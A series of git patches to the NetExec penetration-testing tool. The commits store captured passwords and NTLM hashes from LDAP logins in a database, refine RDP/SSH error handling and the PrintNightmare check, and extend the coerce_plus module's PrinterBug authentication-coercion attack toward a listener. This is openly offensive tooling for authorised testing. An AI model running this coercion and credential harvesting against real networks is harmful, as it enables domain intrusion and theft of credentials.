self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): print( @@ -49,3 +55,113 @@ class database(BaseDB): [-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB""" ) sys.exit() + + def add_host( + self, + ip, + hostname, + domain, + os + ): + """Check if this host has already been added to the database, if not, add it in.""" + hosts = [] + updated_ids = [] + + q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) + results = self.db_execute(q).all() + + # create new host + if not results: + new_host = { + "ip": ip, + "hostname": hostname, + "domain": domain, + "os": os + } + hosts = [new_host] + # update existing hosts data + else: + for host in results: + host_data = host._asdict() + # only update column if it is being passed in + if ip is not None: + host_data["ip"] = ip + if hostname is not None: + host_data["hostname"] = hostname + if domain is not None: + host_data["domain"] = domain + # only add host to be updated if it has changed + if host_data not in hosts: + hosts.append(host_data) + updated_ids.append(host_data["id"]) + nxc_logger.debug(f"Update Hosts: {hosts}") + + # TODO: find a way to abstract this away to a single Upsert call + q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} + q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) + + self.db_execute(q, hosts) # .scalar() + # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted + if updated_ids: + nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") + return updated_ids + + def add_credential(self, credtype, domain, username, password, pillaged_from=None): + """Check if this credential has already been added to the database, if not add it in.""" + credentials = [] + groups = [] + + if pillaged_from and not self.is_host_valid(pillaged_from): + nxc_logger.debug("Invalid host") + return + + q = select(self.UsersTable).filter( + func.lower(self.UsersTable.c.domain) == func.lower(domain), + func.lower(self.UsersTable.c.username) == func.lower(username), + func.lower(self.UsersTable.c.credtype) == func.lower(credtype), + ) + results = self.db_execute(q).all() + + # add new credential + if not results: + new_cred = { + "credtype": credtype, + "domain": domain, + "username": username, + "password": password, + "pillaged_from": pillaged_from, + } + credentials = [new_cred] + # update existing cred data + else: + for creds in results: + # this will include the id, so we don't touch it + cred_data = creds._asdict() + # only update column if it is being passed in + if credtype is not None: + cred_data["credtype"] = credtype + if domain is not None: + cred_data["domain"] = domain + if username is not None: + cred_data["username"] = username + if password is not None: + cred_data["password"] = password + if pillaged_from is not None: + cred_data["pillaged_from"] = pillaged_from + # only add cred to be updated if it has changed + if cred_data not in credentials: + credentials.append(cred_data) + + # TODO: find a way to abstract this away to a single Upsert call + q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id) + update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"} + q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users) + nxc_logger.debug(f"Adding credentials: {credentials}") + + self.db_execute(q_users, credentials) # .scalar() + + if groups: + q_groups = Insert(self.GroupRelationsTable) + + self.db_execute(q_groups, groups) From 4100bb3e610d1925bc275210be611c4123d4fc5e Mon Sep 17 00:00:00 2001 From: lapinou Date: Mon, 30 Dec 2024 19:26:09 +0100 Subject: [PATCH 153/376] Update ldap.py Signed-off-by: lapinou --- nxc/protocols/ldap.py | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index c45dc3db..b13ffa8d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -256,6 +256,16 @@ class ldap(connection): self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-")) + try: + self.db.add_host( + self.host, + self.hostname, + self.domain, + self.server_os + ) + except Exception as e: + self.logger.debug(f"Error adding host {self.host} into db: {e!s}") + def print_host_info(self): self.logger.debug("Printing host info for LDAP") self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" @@ -309,6 +319,13 @@ class ldap(connection): self.check_if_admin() + if password: + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") + self.db.add_credential("plaintext", domain, self.username, self.password) + elif ntlm_hash: + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") + self.db.add_credential("hash", domain, self.username, self.hash) + used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}") @@ -407,6 +424,8 @@ class ldap(connection): self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") + self.db.add_credential("plaintext", domain, self.username, self.password) # Prepare success credential text self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") @@ -428,6 +447,8 @@ class ldap(connection): self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") + self.db.add_credential("plaintext", domain, self.username, self.password) # Prepare success credential text self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") @@ -493,6 +514,8 @@ class ldap(connection): self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") + self.db.add_credential("hash", domain, self.username, self.hash) # Prepare success credential text out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}" @@ -514,6 +537,8 @@ class ldap(connection): self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") + self.db.add_credential("hash", domain, self.username, self.hash) # Prepare success credential text out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}" From f93e9c3ea473c2e3bb71c211e797283f5a5607a7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 30 Dec 2024 16:16:30 -0500 Subject: [PATCH 154/376] Add errors message to login result --- nxc/protocols/rdp.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 9a8a5a46..837d55fa 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -318,7 +318,7 @@ class rdp(connection): if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}:{process_secret(password)} {f'({reason})' if reason else ''}"), + (f"{domain}\\{username}:{process_secret(password)} ({f'{reason}' if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False From 0f810c958df5c532f0e1298b6b2ad73be824acc6 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 30 Dec 2024 16:20:32 -0500 Subject: [PATCH 155/376] Add errors message to login result for all login methods --- nxc/protocols/rdp.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 837d55fa..cd9e1aae 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -269,7 +269,7 @@ class rdp(connection): if word in str(e): reason = self.rdp_error_status[word] self.logger.fail( - (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else str(e)}"), + (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({f'{reason}' if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"), ) elif "Authentication failed!" in str(e): @@ -284,7 +284,7 @@ class rdp(connection): if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else ''}"), + (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({f'{reason}' if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -353,7 +353,7 @@ class rdp(connection): reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}:{process_secret(ntlm_hash)} {f'({reason})' if reason else ''}"), + (f"{domain}\\{username}:{process_secret(ntlm_hash)} ({f'{reason}' if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False From 57b29bcc71090d62ffd61f15e5f143e11f8774b4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 30 Dec 2024 16:21:38 -0500 Subject: [PATCH 156/376] Simplify code --- nxc/protocols/rdp.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index cd9e1aae..d9656694 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -269,7 +269,7 @@ class rdp(connection): if word in str(e): reason = self.rdp_error_status[word] self.logger.fail( - (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({f'{reason}' if reason else str(e)})"), + (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"), ) elif "Authentication failed!" in str(e): @@ -284,7 +284,7 @@ class rdp(connection): if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({f'{reason}' if reason else str(e)})"), + (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -318,7 +318,7 @@ class rdp(connection): if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}:{process_secret(password)} ({f'{reason}' if reason else str(e)})"), + (f"{domain}\\{username}:{process_secret(password)} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -353,7 +353,7 @@ class rdp(connection): reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}:{process_secret(ntlm_hash)} ({f'{reason}' if reason else str(e)})"), + (f"{domain}\\{username}:{process_secret(ntlm_hash)} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False From 7c9516990712d24bc64b8f75f315ff28c098c52c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 30 Dec 2024 16:21:48 -0500 Subject: [PATCH 157/376] Linting --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index e9cd70f2..bb3cba17 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -840,7 +840,7 @@ class smb(connection): temp_dir = ntpath.normpath("\\" + gen_random_string()) temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt") permissions = [] - write_check = True if not self.args.no_write_check else False + write_check = bool(not self.args.no_write_check) try: self.logger.debug(f"domain: {self.domain}") From 3b443d7c83dd22fad872a635b7fb8c0407c26a93 Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Tue, 31 Dec 2024 13:20:46 +0800 Subject: [PATCH 158/376] [Module] Add more exception catch Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- nxc/modules/printnightmare.py | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/nxc/modules/printnightmare.py b/nxc/modules/printnightmare.py index 5c7905c4..9bca9941 100644 --- a/nxc/modules/printnightmare.py +++ b/nxc/modules/printnightmare.py @@ -1,6 +1,6 @@ import sys from impacket import system_errors -from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes from impacket.structure import Structure from impacket.dcerpc.v5 import transport, rprn from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL @@ -39,7 +39,8 @@ class NXCModule: def on_login(self, context, connection): # Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515) - stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host + target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain + stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % target context.log.info(f"Binding to {stringbinding!r}") @@ -55,7 +56,7 @@ class NXCModule: ) rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) - rpctransport.setRemoteHost(connection.host) + rpctransport.setRemoteHost(target) rpctransport.set_dport(self.port) try: @@ -101,7 +102,12 @@ class NXCModule: if e.error_code == system_errors.ERROR_INVALID_PARAMETER: context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") return True - raise e + context.log.fail(f"Unexpected error: {e}") + except DCERPCException as e: + if rpc_status_codes[e.error_code] == "rpc_s_access_denied": + context.log.info("Not vulnerable :'(") + return False + context.log.fail(f"Unexpected error: {e}") context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") return True From d8e5e94ccba613e6ae732822f87100bb3c3c1cf5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 1 Jan 2025 12:24:46 -0500 Subject: [PATCH 159/376] Add dns options to dc-list --- nxc/protocols/ldap.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 16c10c4a..a9500c99 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -8,6 +8,7 @@ from datetime import datetime, timedelta from re import sub, I from zipfile import ZipFile from termcolor import colored +from dns import resolver from Cryptodome.Hash import MD4 from OpenSSL.SSL import SysCallError @@ -32,7 +33,6 @@ from impacket.ntlm import getNTLMSSPType1 from nxc.config import process_secret, host_info_colors from nxc.connection import connection -from nxc.connection import resolver from nxc.helpers.bloodhound import add_user_bh from nxc.logger import NXCAdapter, nxc_logger from nxc.protocols.ldap.bloodhound import BloodHound @@ -702,7 +702,11 @@ class ldap(connection): def dc_list(self): # Building the search filter resolv = resolver.Resolver() - resolv.nameservers = [self.host] + if self.args.dns_server: + resolv.nameservers = [self.args.dns_server] + else: + resolv.nameservers = [self.host] + resolv.timeout = self.args.dns_timeout search_filter = "(&(objectCategory=computer)(primaryGroupId=516))" attributes = ["dNSHostName"] @@ -721,7 +725,7 @@ class ldap(connection): break # If a record has been found, stop checking further try: - answers = resolv.resolve(name, record_type) + answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp) for rdata in answers: if record_type in ["A", "AAAA"]: ip_address = rdata.to_text() From b22c4bc6b484d95b15c47faabf77a7822f5213bc Mon Sep 17 00:00:00 2001 From: Roman Karwacik Date: Thu, 2 Jan 2025 19:41:20 +0000 Subject: [PATCH 160/376] add break on loop --- nxc/modules/coerce_plus.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/modules/coerce_plus.py b/nxc/modules/coerce_plus.py index b09d7961..0f2e3d78 100644 --- a/nxc/modules/coerce_plus.py +++ b/nxc/modules/coerce_plus.py @@ -137,6 +137,7 @@ class NXCModule: if not self.always_continue and exploit_status: break petitpotamconnect.disconnect() + break else: context.log.debug("Target is not vulnerable to PetitPotam") except Exception as e: From 2c50411a59127ef6f2d166b8935f1c131c8d1900 Mon Sep 17 00:00:00 2001 From: Roman Karwacik Date: Thu, 2 Jan 2025 19:47:10 +0000 Subject: [PATCH 161/376] fix force push ':( --- nxc/modules/coerce_plus.py | 95 +++++++++++++++++++++++++++----------- 1 file changed, 67 insertions(+), 28 deletions(-) diff --git a/nxc/modules/coerce_plus.py b/nxc/modules/coerce_plus.py index 0f2e3d78..3c142c26 100644 --- a/nxc/modules/coerce_plus.py +++ b/nxc/modules/coerce_plus.py @@ -1,4 +1,5 @@ -from impacket.dcerpc.v5 import transport, rprn, even +from impacket import uuid +from impacket.dcerpc.v5 import transport, rprn, even, epm from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY @@ -137,7 +138,6 @@ class NXCModule: if not self.always_continue and exploit_status: break petitpotamconnect.disconnect() - break else: context.log.debug("Target is not vulnerable to PetitPotam") except Exception as e: @@ -147,32 +147,36 @@ class NXCModule: if self.method == "all" or self.method[:2] == "pr": # PrinterBug runmethod = True """ PRINTERBUG START """ - try: - printerbugclass = PrinterBugTrigger(context) - target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain - printerbugconnect = printerbugclass.connect( - username=connection.username, - password=connection.password, - domain=connection.domain, - lmhash=connection.lmhash, - nthash=connection.nthash, - target=target, - doKerberos=connection.kerberos, - dcHost=connection.kdcHost, - aesKey=connection.aesKey, - pipe="spoolss" - ) + pipes = ["spoolss", "[dcerpc]"] + for pipe in pipes: + try: + printerbugclass = PrinterBugTrigger(context) + target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain + printerbugconnect = printerbugclass.connect( + username=connection.username, + password=connection.password, + domain=connection.domain, + lmhash=connection.lmhash, + nthash=connection.nthash, + target=target, + doKerberos=connection.kerberos, + dcHost=connection.kdcHost, + aesKey=connection.aesKey, + pipe=pipe + ) - if printerbugconnect is not None: - context.log.debug("Target is vulnerable to PrinterBug") - context.log.highlight("VULNERABLE, PrinterBug") - if self.listener is not None: # exploit - printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, "spoolss") - printerbugconnect.disconnect() - else: - context.log.debug("Target is not vulnerable to PrinterBug") - except Exception as e: - context.log.error(f"Error in PrinterBug module: {e}") + if printerbugconnect is not None: + context.log.debug("Target is vulnerable to PrinterBug") + context.log.highlight("VULNERABLE, PrinterBug") + if self.listener is not None: # exploit + printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe) + if not self.always_continue and exploit_status: + break + printerbugconnect.disconnect() + else: + context.log.debug("Target is not vulnerable to PrinterBug") + except Exception as e: + context.log.error(f"Error in PrinterBug module: {e}") """ PRINTERBUG END """ if self.method == "all" or self.method[:1] == "m": # MSEven @@ -753,15 +757,50 @@ class PrinterBugTrigger: def __init__(self, context): self.context = context + def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str: + string_binding = r"ncacn_ip_tcp:%s[135]" % target + rpctransport = transport.DCERPCTransportFactory(string_binding) + rpctransport.set_connect_timeout(timeout) + dce = rpctransport.get_dce_rpc() + self.context.log.debug( + "Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface)) + ) + try: + dce.connect() + except Exception as e: + self.context.log.warning("Failed to connect to endpoint mapper: %s" % e) + raise e + try: + endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce) + self.context.log.debug( + "Resolved dynamic endpoint %s to %s" + % (repr(uuid.bin_to_string(interface)), repr(endpoint)) + ) + return endpoint + except Exception as e: + self.context.log.debug( + "Failed to resolve dynamic endpoint %s" + % repr(uuid.bin_to_string(interface)) + ) + raise e + + def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "spoolss": { "stringBinding": r"ncacn_np:%s[\PIPE\spoolss]" % target, "MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"), + "port": 445 }, + "[dcerpc]": { + "stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target), + "MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"), + "port": None + } } rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"]) - rpctransport.set_dport(445) + if binding_params[pipe]["port"] is not None: + rpctransport.set_dport(binding_params[pipe]["port"]) if hasattr(rpctransport, "set_credentials"): rpctransport.set_credentials( From 74f39f50d607861e56f0e8753c3ce72210a70a83 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 2 Jan 2025 20:11:44 +0000 Subject: [PATCH 162/376] fix expoitstatus --- nxc/modules/coerce_plus.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/coerce_plus.py b/nxc/modules/coerce_plus.py index 3c142c26..201dd24e 100644 --- a/nxc/modules/coerce_plus.py +++ b/nxc/modules/coerce_plus.py @@ -169,7 +169,7 @@ class NXCModule: context.log.debug("Target is vulnerable to PrinterBug") context.log.highlight("VULNERABLE, PrinterBug") if self.listener is not None: # exploit - printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe) + exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe) if not self.always_continue and exploit_status: break printerbugconnect.disconnect() From 7296e3c7157010b1da288bcc640336be96118549 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 2 Jan 2025 21:51:39 +0100 Subject: [PATCH 163/376] fix connection issue with socks ldap --- nxc/protocols/ldap.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index c45dc3db..05556cea 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -162,6 +162,9 @@ class ldap(connection): ) def create_conn_obj(self): + target = "" + target_domain = "" + base_dn = "" try: proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldap_url = f"{proto}://{self.host}" @@ -187,9 +190,6 @@ class ldap(connection): for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue - target = None - target_domain = None - base_dn = None try: for attribute in item["attributes"]: if str(attribute["type"]) == "defaultNamingContext": @@ -205,9 +205,9 @@ class ldap(connection): except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.info(f"Skipping item, cannot process due to error {e}") - except OSError: - return False - self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") + except OSError as e: + self.logger.error(f"Error getting ldap info { str(e) }") + self.target = target self.targetDomain = target_domain self.baseDN = base_dn @@ -229,7 +229,7 @@ class ldap(connection): def enum_host_info(self): self.baseDN = self.args.base_dn if self.args.base_dn else self.baseDN # Allow overwriting baseDN from args - self.hostname = self.target.split(".")[0].upper() + self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target self.remoteName = self.target self.domain = self.targetDomain From 45b81a43061772e526968ca9e6688e704da60a24 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 2 Jan 2025 21:56:02 +0100 Subject: [PATCH 164/376] fix ruff --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 05556cea..ec65c03d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -206,7 +206,7 @@ class ldap(connection): self.logger.debug("Exception:", exc_info=True) self.logger.info(f"Skipping item, cannot process due to error {e}") except OSError as e: - self.logger.error(f"Error getting ldap info { str(e) }") + self.logger.error(f"Error getting ldap info {e}") self.target = target self.targetDomain = target_domain From 3ec787cda2c1b9716bf23ea18f4ae1b362451442 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 2 Jan 2025 21:59:47 +0100 Subject: [PATCH 165/376] re-add debug line --- nxc/protocols/ldap.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index ec65c03d..584ff0b5 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -208,6 +208,7 @@ class ldap(connection): except OSError as e: self.logger.error(f"Error getting ldap info {e}") + self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") self.target = target self.targetDomain = target_domain self.baseDN = base_dn From b02fff7e3ca1dac8454a46bfe88c29e330400b8e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 2 Jan 2025 16:04:44 -0500 Subject: [PATCH 166/376] Add handling for missing or wrong key file password --- nxc/protocols/ssh.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index 7c4716a7..eefa6b7c 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -187,7 +187,6 @@ class ssh(connection): def plaintext_login(self, username, password, private_key=""): self.username = username self.password = password - stdout = None try: if self.args.key_file or private_key: self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}") @@ -228,12 +227,15 @@ class ssh(connection): # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey _, stdout, _ = self.conn.exec_command("id") stdout = stdout.read().decode(self.args.codec, errors="ignore") - except AuthenticationException: - self.logger.fail(f"{username}:{process_secret(password)}") + except AuthenticationException as e: + if "Private key file is encrypted" in str(e): + self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}") + else: + self.logger.fail(f"{username}:{process_secret(password)}") except SSHException as e: if "Invalid key" in str(e): - self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}") - if "Error reading SSH protocol banner" in str(e): + self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password") + elif "Error reading SSH protocol banner" in str(e): self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}") else: self.logger.exception(e) From 176b9618f13b9944d2bf6b93f4c32820ed048f46 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 2 Jan 2025 16:13:16 -0500 Subject: [PATCH 167/376] Move plaintext_login above priv checks --- nxc/protocols/ssh.py | 198 +++++++++++++++++++++---------------------- 1 file changed, 99 insertions(+), 99 deletions(-) diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index eefa6b7c..97e0858e 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -77,6 +77,105 @@ class ssh(connection): except OSError: return False + def plaintext_login(self, username, password, private_key=""): + self.username = username + self.password = password + try: + if self.args.key_file or private_key: + self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}") + + self.conn.connect( + self.host, + port=self.port, + username=username, + passphrase=password if password != "" else None, + key_filename=private_key if private_key else self.args.key_file, + timeout=self.args.ssh_timeout, + look_for_keys=False, + allow_agent=False, + banner_timeout=self.args.ssh_timeout, + ) + + cred_id = self.db.add_credential( + "key", + username, + password if password != "" else "", + key=private_key, + ) + + else: + self.logger.debug(f"Logging {self.host} with username: {self.username}, password: {self.password}") + self.conn.connect( + self.host, + port=self.port, + username=username, + password=password, + timeout=self.args.ssh_timeout, + look_for_keys=False, + allow_agent=False, + banner_timeout=self.args.ssh_timeout, + ) + cred_id = self.db.add_credential("plaintext", username, password) + + # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey + _, stdout, _ = self.conn.exec_command("id") + stdout = stdout.read().decode(self.args.codec, errors="ignore") + except AuthenticationException as e: + if "Private key file is encrypted" in str(e): + self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}") + else: + self.logger.fail(f"{username}:{process_secret(password)}") + except SSHException as e: + if "Invalid key" in str(e): + self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password") + elif "Error reading SSH protocol banner" in str(e): + self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}") + else: + self.logger.exception(e) + except Exception as e: + self.logger.exception(e) + self.conn.close() + return False + else: + shell_access = False + host_id = self.db.get_hosts(self.host)[0].id + + if not stdout: + _, stdout, _ = self.conn.exec_command("whoami /priv") + stdout = stdout.read().decode(self.args.codec, errors="ignore") + self.server_os_platform = "Windows" + if "SeDebugPrivilege" in stdout: + self.admin_privs = True + elif "SeUndockPrivilege" in stdout: + self.admin_privs = True + self.uac = "with UAC - " + + if not stdout: + self.logger.debug(f"User: {self.username} can't get a basic shell") + self.server_os_platform = "Network Devices" + shell_access = False + else: + shell_access = True + + self.db.add_loggedin_relation(cred_id, host_id, shell=shell_access) + + if shell_access and self.server_os_platform == "Linux": + self.check_if_admin() + if self.admin_privs: + self.logger.debug(f"User {username} logged in successfully and is root!") + if self.args.key_file: + self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id) + 